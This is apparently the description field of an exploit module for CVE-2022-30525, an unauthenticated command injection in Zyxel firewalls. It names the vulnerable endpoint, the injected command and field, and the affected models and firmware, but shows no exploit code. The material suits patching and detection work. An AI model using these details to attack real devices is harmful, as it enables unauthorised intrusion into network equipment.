'Description' => %q{  
This module exploits CVE-2022-30525, an unauthenticated remote  
command injection vulnerability affecting Zyxel firewalls with zero  
touch provisioning (ZTP) support. By sending a malicious setWanPortSt  
command containing an mtu field with a crafted OS command to the  
/ztp/cgi-bin/handler page, an attacker can gain remote command execution  
as the nobody user.  
  
Affected Zyxel models are:  
  
* USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below  
* USG20-VPN and USG20W-VPN using firmware 5.21 and below  
* ATP 100, 200, 500, 700, 800 using firmware 5.21 and below
